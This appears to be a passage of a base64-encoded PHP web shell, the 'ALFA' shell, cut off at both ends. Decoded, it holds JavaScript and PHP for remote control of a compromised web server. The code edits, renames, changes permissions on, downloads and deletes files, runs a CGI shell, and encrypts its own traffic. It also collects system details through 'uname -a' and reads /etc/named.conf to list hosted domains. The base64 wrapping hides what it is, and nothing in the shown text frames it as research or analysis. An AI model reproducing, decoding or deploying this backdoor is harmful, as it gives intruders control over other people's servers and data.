YWwtIitvXS5zZXRTaG93UHJpbnRNYXJnaW4oITEpLGFsZmFfYWNlX2VkaXRvcnMuZXZhbFsicGhwZXZhbC0iK29dLnNldFRoZW1lKCJhY2UvdGhlbWUvIitpKSxhbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXNzaW9uLnNldE1vZGUoImFjZS9tb2RlL3BocCIpLGFsZmFfYWNlX2VkaXRvcnMuZXZhbFsicGhwZXZhbC0iK29dLnNlc3Npb24uc2V0VXNlV3JhcE1vZGUoITApLGUucXVlcnlTZWxlY3Rvcigic2VsZWN0LmFjZS10aGVtZS1zZWxlY3RvciIpLnZhbHVlPWksZS5xdWVyeVNlbGVjdG9yQWxsKCIuYWNlLWNvbnRyb2xlciIpLmZvckVhY2goZnVuY3Rpb24oZSl7ZS5zZXRBdHRyaWJ1dGUoImFjZV9pZCIsInBocGV2YWwtIitvKX0pLHZvaWQgMCE9PWwmJnNldFRpbWVvdXQoZnVuY3Rpb24oKXthbGZhX2FjZV9lZGl0b3JzLmV2YWxbInBocGV2YWwtIitvXS5zZXRGb250U2l6ZShwYXJzZUludChsKSl9LDFlMyl9KX19ZnVuY3Rpb24gaW5zZXJ0VG9IaXN0b3J5KGUsYSx0LGkpe3ZhciBsPSIiO3QmJjAhPXQmJihsPXQpO3ZhciBvPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO28uaW5uZXJIVE1MPSI8ZGl2IGlkPSciK2UrIicgY2xhc3M9J2hpc3RvcnknIG9uQ2xpY2s9J3Jlb3Blbih0aGlzKTsnPjxkaXYgY2xhc3M9J2VkaXRvci1pY29uJz4iK2xvYWRUeXBlKGEsaSxlKSsiPC9kaXY+PGRpdiBjbGFzcz0nZWRpdG9yLWZpbGUtbmFtZSc+IithKyI8L2Rpdj48L2Rpdj48ZGl2IGNsYXNzPSdoaXN0b3J5LWNsb3NlJyBvbkNsaWNrPSdyZW1vdmVIaXN0b3J5KFwiIitlKyJcIik7Jz5YPC9kaXY+IixvLmNsYXNzTmFtZT0iZmlsZS1ob2xkZXIiK2wsby5hZGRFdmVudExpc3RlbmVyKCJtb3VzZW92ZXIiLGZ1bmN0aW9uKCl7c2V0RWRpdG9yVGl0bGUoZSwib3ZlciIpLHRoaXMuY2hpbGROb2Rlc1sxXS5zdHlsZS5vcGFjaXR5PSIxIn0pLG8uYWRkRXZlbnRMaXN0ZW5lcigibW91c2VvdXQiLGZ1bmN0aW9uKCl7c2V0RWRpdG9yVGl0bGUoZSwib3V0IiksdGhpcy5jaGlsZE5vZGVzWzFdLnN0eWxlLm9wYWNpdHk9IjAifSk7dmFyIHI9ZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJoaXN0b3J5LWxpc3QiKVswXTtyLmluc2VydEJlZm9yZShvLHIuZmlyc3RDaGlsZCl9ZnVuY3Rpb24gbG9hZFR5cGUoZSxhLHQpeyJub25lIj09YSYmX0FqYXgoZC5VUkwsImE9IithbGZhYjY0KCJjaGVja2ZpbGV0eXBlIikrIiZwYXRoPSIrYWxmYWI2NChlZGl0b3JfZmlsZXNbdF0ucHdkKSsiJmFyZz0iK2FsZmFiNjQoZWRpdG9yX2ZpbGVzW3RdLmZpbGUpLGZ1bmN0aW9uKGUpeyQodCkuaW5uZXJIVE1MPSI8ZGl2IGNsYXNzPSdlZGl0b3ItaWNvbic+Iitsb2FkVHlwZShlZGl0b3JfZmlsZXNbdF0uZmlsZSxlLHQpKyI8L2Rpdj48ZGl2IGNsYXNzPSdlZGl0b3ItZmlsZS1uYW1lJz4iK2VkaXRvcl9maWxlc1t0XS5maWxlKyI8L2Rpdj4iLGVkaXRvcl9maWxlc1t0XS50eXBlPWV9KTtpZigiZmlsZSI9PWEpe2E9KGE9ZS5zcGxpdCgiLiIpKVthLmxlbmd0aC0xXS50b0xvd2VyQ2FzZSgpOy0xPT1bImpzb24iLCJwcHQiLCJwcHR4IiwieGxzIiwieGxzeCIsIm1zaSIsImNvbmZpZyIsImNnaSIsInBtIiwiYyIsImNwcCIsImNzIiwiamF2YSIsImFzcHgiLCJhc3AiLCJkYiIsInR0ZiIsImVvdCIsIndvZmYiLCJ3b2ZmMiIsIndvZmYiLCJjb25mIiwibG9nIiwiYXBrIiwiY2FiIiwiYnoyIiwidGd6IiwiZG1nIiwiaXpvIiwiamFyIiwiN3oiLCJpc28iLCJyYXIiLCJiYXQiLCJzaCIsImFsZmEiLCJneiIsInRhciIsInBocCIsInBocDQiLCJwaHA1IiwicGh0bWwiLCJodG1sIiwieGh0bWwiLCJzaHRtbCIsImh0bSIsInppcCIsInBuZyIsImpwZyIsImpwZWciLCJnaWYiLCJibXAiLCJpY28iLCJ0eHQiLCJqcyIsInJiIiwicHkiLCJ4bWwiLCJjc3MiLCJzcWwiLCJodGFjY2VzcyIsInBsIiwiaW5pIiwiZGxsIiwiZXhlIiwibXAzIiwibXA0IiwibTRhIiwibW92IiwiZmx2Iiwic3dmIiwibWt2IiwiYXZpIiwid212IiwibXBnIiwibXBlZyIsImRhdCIsInBkZiIsIjNncCIsImRvYyIsImRvY3giLCJkb2NtIl0uaW5kZXhPZihhKSYmKGE9Im5vdGZvdW5kIil9ZWxzZSBhPSJmb2xkZXIiO3JldHVybic8aW1nIHNyYz0iaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy97dHlwZX0iIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCI+Jy5yZXBsYWNlKCJ7dHlwZX0iLGErIi5wbmciKX1mdW5jdGlvbiB1cGRhdGVGaWxlRWRpdG9yKGUsYSl7dmFyIHQ9ImlkXyIrZSxpPSJpZF9jaG1vZGVfIitlLGw9ImlkX3JlbmFtZV8iK2Usbz0iaWRfdG91Y2hfIitlLHI9ImlkX2VkaXRfIitlLG49ImlkX2Rvd25sb2FkXyIrZSxkPSJpZF9kZWxldGVfIitlLHM9JCh0KS5nZXRBdHRyaWJ1dGUoImZ0eXBlIik7ImZvbGRlciI9PXMmJihzPSJkaXIiKSwiZmlsZSI9PXM/KCQodCkuaW5uZXJIVE1MPWEsJCh0KS5zZXRBdHRyaWJ1dGUoImhyZWYiLCIjYWN0aW9uPWZpbGVtYW4mcGF0aD0iK2NfKyIvIithKSwkKHQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCdhdXRvJywnJywnJywnJywnZmlsZScpIiksJChyKS5zZXRBdHRyaWJ1dGUoIm9uY2xpY2siLCJlZGl0b3IoJyIrYSsiJywnZWRpdCcsJycsJycsJycsJyIrcysiJykiKSwkKG4pLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzVG9vbHMnLG51bGwsJyIrYSsiJywgJ2Rvd25sb2FkJykiKSk6KCQodCkuaW5uZXJIVE1MPSI8Yj58ICIrYSsiIHw8L2I+IiwkKHQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsImcoJ0ZpbGVzTWFuJywgJyIrY18rIi8iK2ErIicpIikpLCQoaSkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ2NobW9kJywnJywnJywnJywnIitzKyInKSIpLCQobCkuc2V0QXR0cmlidXRlKCJvbmNsaWNrIiwiZWRpdG9yKCciK2ErIicsJ3JlbmFtZScsJycsJycsJycsJyIrcysiJykiKSwkKG8pLnNldEF0dHJpYnV0ZSgib25jbGljayIsImVkaXRvcignIithKyInLCd0b3VjaCcsJycsJycsJycsJyIrcysiJykiKSwkKGQpLnNldEF0dHJpYnV0ZSgib25jbGljayIsInZhciBjaGsgPSBjb25maXJtKCdBcmUgWW91IFN1cmUgRm9yIERlbGV0ZSAjICIrYSsiICMgPycpOyBjaGsgPyBnKCdGaWxlc01hbicsbnVsbCwnZGVsZXRlJywgJyIrYSsiJykgOiAnJzsiKSwkKHQpLnNldEF0dHJpYnV0ZSgiZm5hbWUiLGEpfWZ1bmN0aW9uIHVwZGF0ZURpcnNFZGl0b3IoZSxhKXt2YXIgdD1kLm1mLmMudmFsdWUrIi8iLGk9ZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrYSsiLyIsbD1lZGl0b3JfZmlsZXNbZV0ucHdkKyIvIitlZGl0b3JfZmlsZXNbZV0uZmlsZSsiLyI7Zm9yKHZhciBvIGluIGk9aS5yZXBsYWNlKC9cL1wvL2csIi8iKSxsPWwucmVwbGFjZSgvXC9cLy9nLCIvIiksLTEhPSh0PXQucmVwbGFjZSgvXC9cLy9nLCIvIikpLnNlYXJjaChpKSYmKGluaXREaXIodC5yZXBsYWNlKGksbCkpLGQubWYuYy52YWx1ZT10LnJlcGxhY2UoaSxsKSksZWRpdG9yX2ZpbGVzKXt2YXIgcj1lZGl0b3JfZmlsZXNbb10ucHdkKyIvIjstMSE9KHI9ci5yZXBsYWNlKC9cL1wvL2csIi8iKSkuc2VhcmNoKGkpJiYoZWRpdG9yX2ZpbGVzW29dLnB3ZD1yLnJlcGxhY2UoaSxsKSl9dXBkYXRlQ29va2llRWRpdG9yKCl9ZnVuY3Rpb24gdXBkYXRlQ29va2llRWRpdG9yKCl7c2V0Q29va2llKCJhbGZhX2hpc3RvcnlfZmlsZXMiLGJ0b2EoSlNPTi5zdHJpbmdpZnkoZWRpdG9yX2ZpbGVzKSksMjAxMil9ZnVuY3Rpb24gc2V0RWRpdG9yVGl0bGUoZSxhKXtpZigib3V0Ij09YSYmIiIhPWVkaXRvcl9jdXJyZW50X2ZpbGUpe3ZhciB0PWQucXVlcnlTZWxlY3RvcigiLmVkaXRvci10YWItbmFtZS5lZGl0b3ItdGFiLWFjdGl2ZSIpO2U9bnVsbCE9dD90LmdldEF0dHJpYnV0ZSgib3B0X2lkIikucmVwbGFjZSgiZWRpdG9yX3NvdXJjZV8iLCJmaWxlXyIpOmVkaXRvcl9jdXJyZW50X2ZpbGV9ZWRpdG9yX2ZpbGVzW2VdJiYoZC5nZXRFbGVtZW50c0J5Q2xhc3NOYW1lKCJlZGl0b3ItcGF0aCIpWzBdLmlubmVySFRNTD0oZWRpdG9yX2ZpbGVzW2VdLnB3ZCsiLyIrZWRpdG9yX2ZpbGVzW2VdLmZpbGUpLnJlcGxhY2UoL1wvXC8vZywiLyIpKX1mdW5jdGlvbiByZW1vdmVIaXN0b3J5KGUpe2RlbGV0ZSBlZGl0b3JfZmlsZXNbZV0sJChlKSYmJChlKS5wYXJlbnROb2RlLnBhcmVudE5vZGUucmVtb3ZlQ2hpbGQoJChlKS5wYXJlbnROb2RlKTt2YXIgYT1kLmdldEVsZW1lbnRzQnlDbGFzc05hbWUoImZpbGVzdG9vbHMiKVswXTthJiZhLmdldEF0dHJpYnV0ZSgiZmlkIik9PWUmJihhLm91dGVySFRNTD0iIiksZWRpdG9yX2N1cnJlbnRfZmlsZT09ZSYmKGVkaXRvcl9jdXJyZW50X2ZpbGU9IiIpLHVwZGF0ZUNvb2tpZUVkaXRvcigpfWZ1bmN0aW9uIGdldFJhbmRvbShlKXtmb3IodmFyIGE9IiIsdD0iMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVoiLGk9dm9pZCAwPT09ZT8yMDplO2k+MDstLWkpYSs9dFtNYXRoLmZsb29yKE1hdGgucmFuZG9tKCkqdC5sZW5ndGgpXTtyZXR1cm4gYX1mdW5jdGlvbiByZW9wZW4oZSl7dmFyIGE9ZS5nZXRBdHRyaWJ1dGUoImlkIiksdD1lZGl0b3JfZmlsZXNbYV0ucHdkLGk9ZWRpdG9yX2ZpbGVzW2FdLmZpbGUsbD0iZWRpdG9yX3NvdXJjZV8iK2EucmVwbGFjZSgiZmlsZV8iLCIiKTtudWxsPT0kKGwpP2VkaXRvcihpLCJhdXRvIiwiIix0LGEpOmVkaXRvclRhYkNvbnRyb2xsZXIobCwhMCl9ZnVuY3Rpb24gY29weVRvQ2xpcGJvYXJkKGUpe2U9ZS5nZXRBdHRyaWJ1dGUoImFjZV9pZCIpO3ZhciBhPWFsZmFfYWNlX2VkaXRvcnMuZWRpdG9yW2VdLnNlbGVjdGlvbi50b0pTT04oKTthbGZhX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5zZWxlY3RBbGwoKSxhbGZhX2FjZV9lZGl0b3JzLmVkaXRvcltlXS5mb2N1cygpLGRvY3VtZW50LmV4ZWNDb21tYW5kKCJjb3B5IiksYWxmYV9hY2VfZWRpdG9ycy5lZGl0b3JbZV0uc2VsZWN0aW9uLmZyb21KU09OKGEpLGFsZmFTaG93Tm90aWZpY2F0aW9uKCJ0ZXh0IGNvcGllZCIsIkVkaXRvciIpfWZ1bmN0aW9uIGVuY3J5cHQoZSxhKXtpZihudWxsPT1hfHxhLmxlbmd0aDw9MClyZXR1cm4gbnVsbDtlPWFsZmFiNjQoZSwhMCksYT1hbGZhYjY0KGEsITApO2Zvcih2YXIgdD0iIixpPSIiLGw9MDtsPGUubGVuZ3RoOylmb3IodmFyIG89MDtvPGEubGVuZ3RoJiYodD1lLmNoYXJDb2RlQXQobCleYS5jaGFyQ29kZUF0KG8pLGkrPVN0cmluZy5mcm9tQ2hhckNvZGUodCksISgrK2w+PWUubGVuZ3RoKSk7bysrKTtyZXR1cm4gYWxmYWI2NChpLCEwKX1mdW5jdGlvbiByZWxvYWRTZXR0aW5nKGUpe3JldHVybiBhbGZhbG9hZGVyKGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZCwiYmxvY2siKSxfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoInNldHRpbmdzIikrIiZhbGZhMT0iK2FsZmFiNjQoZS5wcm90ZWN0LnZhbHVlKSsiJmFsZmEyPSIrYWxmYWI2NChlLmxncGFnZS52YWx1ZSkrIiZhbGZhMz0iK2FsZmFiNjQoZS51c2VybmFtZS52YWx1ZSkrIiZhbGZhND0iK2FsZmFiNjQoZS5wYXNzd29yZC52YWx1ZSkrIiZhbGZhNT0iK2FsZmFiNjQoIj4+IikrIiZhbGZhNj0iK2FsZmFiNjQoZS5pY29uLnZhbHVlKSsiJmFsZmE3PSIrYWxmYWI2NChlLnBvc3RfZW5jcnlwdC52YWx1ZSkrIiZhbGZhOD0iK2FsZmFiNjQoIm1haW4iKSsiJmFsZmE5PSIrYWxmYWI2NChlLmNnaV9hcGkudmFsdWUpKyImYz0iK2FsZmFiNjQoY18pKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihlLGEpe2xvYWRQb3BVcE9wVGlvbnMoYSxlKSxldmFsSlMoZSksYWxmYWxvYWRlcihhLCJub25lIil9LCExLGFsZmFfYmVmb3JlX2RvX2FjdGlvbl9pZCksYWxmYV9iZWZvcmVfZG9fYWN0aW9uX2lkPSIiLDA9PWUuZS52YWx1ZSYmMT09ZS5wcm90ZWN0LnZhbHVlJiZzZXRUaW1lb3V0KCJsb2NhdGlvbi5yZWxvYWQoKSIsMWUzKSxlLnMudmFsdWUhPWUuaWNvbi52YWx1ZSYmc2V0VGltZW91dCgibG9jYXRpb24ucmVsb2FkKCkiLDFlMyksITF9ZnVuY3Rpb24gcmVsb2FkQ29sb3JzKGUpe3ZhciBhPXt9O3ZvaWQgMD09PWU/ZC5xdWVyeVNlbGVjdG9yQWxsKCIuY29sb3JzX2lucHV0IikuZm9yRWFjaChmdW5jdGlvbihlKXt2YXIgdD1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IikucmVwbGFjZSgiLiIsIiIpO2FbdF09ZS52YWx1ZX0pOmE9ZTt2YXIgdD0kKCJ1c2VfZGVmYXVsdF9jb2xvciIpLmNoZWNrZWQ/IjEiOiIwIjtfQWpheChkLlVSTCwiYT0iK2FsZmFiNjQoInNldHRpbmdzIikrIiZhbGZhMT0iK2FsZmFiNjQoSlNPTi5zdHJpbmdpZnkoYSkpKyImYWxmYTI9IithbGZhYjY0KCI+PiIpKyImYWxmYTM9IithbGZhYjY0KHQpKyImYWxmYTg9IithbGZhYjY0KCJjb2xvciIpKyImYz0iK2FsZmFiNjQoY18pKyImYWpheD0iK2FsZmFiNjQoInRydWUiKSxmdW5jdGlvbihlKXtldmFsSlMoZSl9LCEwKX1mdW5jdGlvbiBhbGZhYjY0KGUsYSl7cmV0dXJuIHZvaWQgMCE9PWF8fDA9PXBvc3RfZW5jcnlwdGlvbl9tb2RlP3dpbmRvdy5idG9hKHVuZXNjYXBlKGVuY29kZVVSSUNvbXBvbmVudChlKSkpOmVuY3J5cHQoZSwiPD9waHAgZWNobyBfX0FMRkFfU0VDUkVUX0tFWV9fOyA/PiIpfWZ1bmN0aW9uIGV2YWxDc3MoZSl7dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3R5bGUiKTthLnN0eWxlU2hlZXQ/YS5zdHlsZVNoZWV0LmNzc1RleHQ9ZTphLmFwcGVuZENoaWxkKGRvY3VtZW50LmNyZWF0ZVRleHROb2RlKGUpKSxkLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0uYXBwZW5kQ2hpbGQoYSl9ZnVuY3Rpb24gY29sb3JIYW5kbGVyS2V5KGUpe3NldFRpbWVvdXQoZnVuY3Rpb24oYSl7Y29sb3JIYW5kbGVyKGUpfSwyMDApfWZ1bmN0aW9uIGNvbG9ySGFuZGxlcihlKXt2YXIgYT1lLmdldEF0dHJpYnV0ZSgidGFyZ2V0IiksdD1lLmdldEF0dHJpYnV0ZSgibXVsdGkiKSxsPWEuaW5kZXhPZigiOmhvdmVyIik7aWYodCl7dmFyIG89SlNPTi5wYXJzZShhdG9iKHQpKSxyPSIiO2ZvcihpIGluIG8ubXVsdGlfc2VsZWN0b3Ipcis9aSsieyIrby5tdWx0aV9zZWxlY3RvcltpXS5yZXBsYWNlKC97Y29sb3J9L2csZS52YWx1ZSkrIn0iO2V2YWxDc3Mocil9LTE9PWx8fHQ/KCQoImlucHV0XyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJCgiZ3VpXyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsIi5oZWFkZXJfdmFsdWVzIj09YSYmKGE9Ii5oZWFkZXIsLmhlYWRlcl92YWx1ZXMiKSxkLnF1ZXJ5U2VsZWN0b3JBbGwoYSkuZm9yRWFjaChmdW5jdGlvbihhKXthLnN0eWxlLmNvbG9yPWUudmFsdWV9KSk6KCQoImlucHV0XyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsJCgiZ3VpXyIrYS5yZXBsYWNlKCIuIiwiIikpLnZhbHVlPWUudmFsdWUsZXZhbENzcyhhKyJ7Y29sb3I6ICIrZS52YWx1ZSsiO30iKSl9ZnVuY3Rpb24gaW1wb3J0Q29uZmlnKGUpe3ZhciBhPWUudGFyZ2V0LHQ9bmV3IEZpbGVSZWFkZXI7dC5vbmxvYWQ9ZnVuY3Rpb24oKXt2YXIgZT10LnJlc3VsdDt0cnl7cmVsb2FkQ29sb3JzKEpTT04ucGFyc2UoZSkpfWNhdGNoKGUpe2FsZXJ0KCJDb25maWcgaXMgaW52YWxpZC4uLiEiKX0kKCJpbXBvcnRGaWxlQnRuIikudmFsdWU9IiJ9LHQucmVhZEFzVGV4dChhLmZpbGVzWzBdKX1mdW5jdGlvbiBjaGVja0JveChlKXt2YXIgYT1hbGZhX2N1cnJlbnRfZm1faWQsdD1lLmNoZWNrZWQ7ZC5xdWVyeVNlbGVjdG9yQWxsKCIjZmlsZXNtYW5faG9sZGVyXyIrYSsiIGZvcm1bbmFtZT1maWxlc10gaW5wdXRbdHlwZT1jaGVja2JveF0iKS5mb3JFYWNoKGZ1bmN0aW9uKGUpe2UuY2hlY2tlZD10fSl9ZnVuY3Rpb24gcnVuY2dpKGUpe2lmKCQoImNnaWZyYW1lIikuc3R5bGUuaGVpZ2h0PSJ1bnNldCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyLW1pbmltaXplZCAubWluaW1pemVkLXRleHQiKS5pbm5lckhUTUw9IkNnaSBTaGVsbCIsZC5xdWVyeVNlbGVjdG9yKCIjY2dpbG9hZGVyIC5vcHQtdGl0bGUiKS5pbm5lckhUTUw9IkNnaSBTaGVsbCIsY2dpX2lzX21pbmltaXplZCYmY2dpX2xhbmc9PWUmJihzaG93RWRpdG9yKCJjZ2lsb2FkZXIiKSwwPT1waHBfdGVtcmluYWxfdXNpbmdfY2dpKSlyZXR1cm4hMTtwaHBfdGVtcmluYWxfdXNpbmdfY2dpPSExLF9BamF4KGQuVVJMLCJhPSIrYWxmYWI2NCgiY2dpc2hlbGwiKSsiJmFsZmExPSIrYWxmYWI2NChlKSsiJmFqYXg9IithbGZhYjY0KCJ0cnVlIiksZnVuY3Rpb24oYSl7ZC5ib2R5LnN0eWxlLm92ZXJmbG93PSJoaWRkZW4iLCQoImNnaWxvYWRlciIpLnN0eWxlLmRpc3BsYXk9ImJsb2NrIixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtdGFicyIpLmlubmVySFRNTD0iIixkLnF1ZXJ5U2VsZWN0b3IoIiNjZ2lmcmFtZSAudGVybWluYWwtY29udGVudHMiKS5pbm5lckhUTUw9YSxjZ2lfbGFuZz1lLGNnaV9pc19taW5pbWl6ZWQmJigkKCJjZ2lsb2FkZXItbWluaW1pemVkIikuc2V0QXR0cmlidXRlKCJjbGFzcyIsIm1pbmltaXplZC1oaWRlIiksc2V0VGltZW91dChmdW5jdGlvbigpeyQoImNnaWxvYWRlciIpLnJlbW92ZUF0dHJpYnV0ZSgiY2xhc3MiKSxpc19taW5pbWl6ZWQmJigkKCJlZGl0b3ItbWluaW1pemVkIikuc3R5bGUudG9wPSIzMCUiKX0sMWUzKSl9KX1FbGVtZW50LnByb3RvdHlwZS5hcHBlbmRBZnRlcj1mdW5jdGlvbihlKXtlLnBhcmVudE5vZGUuaW5zZXJ0QmVmb3JlKHRoaXMsZS5uZXh0U2libGluZyl9Ow0KPC9zY3JpcHQ+DQo8P3BocCBlY2hvIjxmb3JtIHN0eWxlPSdkaXNwbGF5Om5vbmU7JyBpZD0nZGxGb3JtJyBhY3Rpb249JycgdGFyZ2V0PSdfYmxhbmsnIG1ldGhvZD0ncG9zdCc+DQo8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZGxmaWxlJz4NCjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2MnIHZhbHVlPScnPg0KPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZmlsZScgdmFsdWU9Jyc+DQo8L2Zvcm0+DQo8aW5wdXQgdHlwZT0nZmlsZScgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnIGlkPSdpbXBvcnRGaWxlQnRuJyBvbmNoYW5nZT0naW1wb3J0Q29uZmlnKGV2ZW50KTsnPg0KPGRpdiBpZD0nYV9sb2FkZXInPjxpbWcgc3JjPSciLl9fc2hvd2ljb24oJ2xvYWRlcicpLiInPjwvZGl2PiI7DQokY21kX3VuYW1lID0gYWxmYUV4KCJ1bmFtZSAtYSIsZmFsc2UsZmFsc2UpOw0KJHVuYW1lID0gZnVuY3Rpb25fZXhpc3RzKCdwaHBfdW5hbWUnKSA/IHN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkgOiAoc3RybGVuKCRjbWRfdW5hbWUpPjA/JGNtZF91bmFtZTonKCBwaHBfdW5hbWUgKSBGdW5jdGlvbiBEaXNhYmxlZCAhJyk7DQppZigkdW5hbWU9PSIoIHBocF91bmFtZSApIEZ1bmN0aW9uIERpc2FibGVkICEiKXskR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl09InRydWUiO30NCmVjaG8gJw0KPC9oZWFkPg0KPGJvZHkgYmdjb2xvcj0iIzAwMDAwMCIgbGVmdG1hcmdpbj0iMCIgdG9wbWFyZ2luPSIwIiBtYXJnaW53aWR0aD0iMCIgbWFyZ2luaGVpZ2h0PSIwIj4NCjxkaXYgaWQ9InVwX2Jhcl9ob2xkZXIiPjwvZGl2Pg0KPGRpdiBjbGFzcz0id2hvbGUiPg0KPGZvcm0gbWV0aG9kPSJwb3N0IiBuYW1lPSJtZiIgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSI+DQo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjIiB2YWx1ZT0iJy4kR0xPQkFMU1snY3dkJ10uJyI+JzsNCmZvcigkcz0xOyRzPD0xMDskcysrKXsNCmVjaG8gJzxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9ImFsZmEnLiRzLiciPic7DQp9DQplY2hvICc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJjaGFyc2V0Ij4NCjwvZm9ybT4NCjxkaXYgaWQ9XCdoaWRkZW5fc2hcJz48YSBjbGFzcz0iYWxlcnRfZ3JlZW4iIHRhcmdldD0iX2JsYW5rIiBocmVmPSI/c29sZXZpc2libGUiPjxzcGFuIHN0eWxlPSJjb2xvcjojNDJmZjU5OyI+Jy5fX0FMRkFfQ09ERV9OQU1FX18uJzwvc3Bhbj48YnI+PHNtYWxsPlZlcnNpb246IDxzcGFuIGNsYXNzPSJoaWRkZW5fc2hlbGxfdmVyc2lvbiI+Jy5fX0FMRkFfVkVSU0lPTl9fLic8L3NwYW4+PC9zbWFsbD48L2E+PC9kaXY+DQo8ZGl2IGNsYXNzPSJoZWFkZXIiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIj4NCjx0cj4NCjx0ZCB3aWR0aD0iMyUiPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+VW5hbWU6PC9zcGFuPjwvdGQ+DQo8dGQgY29sc3Bhbj0iMiI+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfdW5hbWUiPicuJHVuYW1lLic8L3NwYW4+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5Vc2VyOjwvc3Bhbj48L3RkPg0KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFsdWVzIiBpZD0iaGVhZGVyX3VzZXJpZCI+Jy4gJHVpZCAuICcgWyAnIC4gJHVzZXIgLiAnIF0gPC9zcGFuPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+IEdyb3VwOiA8L3NwYW4+PHNwYW4gY2xhc3M9ImhlYWRlcl92YWx1ZXMiIGlkPSJoZWFkZXJfZ3JvdXBpZCI+JyAuICRnaWQgLiAnIFsgJyAuICRncm91cCAuICcgXTwvc3Bhbj4gPC90ZD4NCjx0ZCB3aWR0aD0iMTIlIiByb3dzcGFuPSI4Ij48aW1nIHN0eWxlPSJib3JkZXItcmFkaXVzOjEwMHB4OyIgd2lkdGg9IjMwMCIgaGVpZ2h0PSIxNzAiIGFsdD0iVUNFTiBIQVhPUiAyMDIyIiBkcmFnZ2FibGU9ImZhbHNlIiBzcmM9Imh0dHBzOi8vaC50b3A0dG9wLmlvL3BfMjQ0M2dudzltMC5qcGciIC8+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQ+PHNwYW4gY2xhc3M9ImhlYWRlcl92YXJzIj5QSFA6PC9zcGFuPjwvdGQ+DQo8dGQ+PGI+Jy5AcGhwdmVyc2lvbigpLiAnIDwvYj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPiBTYWZlIE1vZGU6ICcuJHNhZmVfbW9kZXMuJzwvc3Bhbj48L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPlNlcnZlcklQOjwvc3Bhbj48L3RkPg0KPHRkPjxiPicuKCFAJF9TRVJWRVJbIlNFUlZFUl9BRERSIl0/KGZ1bmN0aW9uX2V4aXN0cygiZ2V0aG9zdGJ5bmFtZSIpP0BnZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKTonPz8/PycpOkAkX1NFUlZFUlsiU0VSVkVSX0FERFIiXSkuJzwvYj48ZGl2IHN0eWxlPSJkaXNwbGF5OmlubGluZTtkaXNwbGF5Om5vbmU7IiBjbGFzcz0iZmxhZy1ob2xkZXIiPjwvZGl2PiA8c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPllvdXIgSVA6PC9zcGFuPjxiPiAnLkAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXS4nPC9iPjxkaXYgc3R5bGU9ImRpc3BsYXk6aW5saW5lO2Rpc3BsYXk6bm9uZTsiIGNsYXNzPSJmbGFnLWhvbGRlciI+PC9kaXY+PC90ZD4NCjwvdHI+DQo8dHI+DQo8dGQgd2lkdGg9IjMlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhcnMiPkRhdGVUaW1lOjwvc3Bhbj48L3RkPg0KPHRkIGNvbHNwYW49IjIiPjxiPicuZGF0ZSgnWS1tLWQgSDppOnMnKS4nPC9iPjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkPjxzcGFuIGNsYXNzPSJoZWFkZXJfdmFycyI+RG9tYWluczo8L3NwYW4+PC90ZD4NCjx0ZCB3aWR0aD0iNzYlIj48c3BhbiBjbGFzcz0iaGVhZGVyX3ZhbHVlcyIgaWQ9ImhlYWRlcl9kb21haW5zIj4nOw0KaWYoJEdMT0JBTFNbJ3N5cyddPT0ndW5peCcpew0KJGQwbWFpbnMgPSBfYWxmYV9maWxlKCIvZXRjL25hbWVkLmNv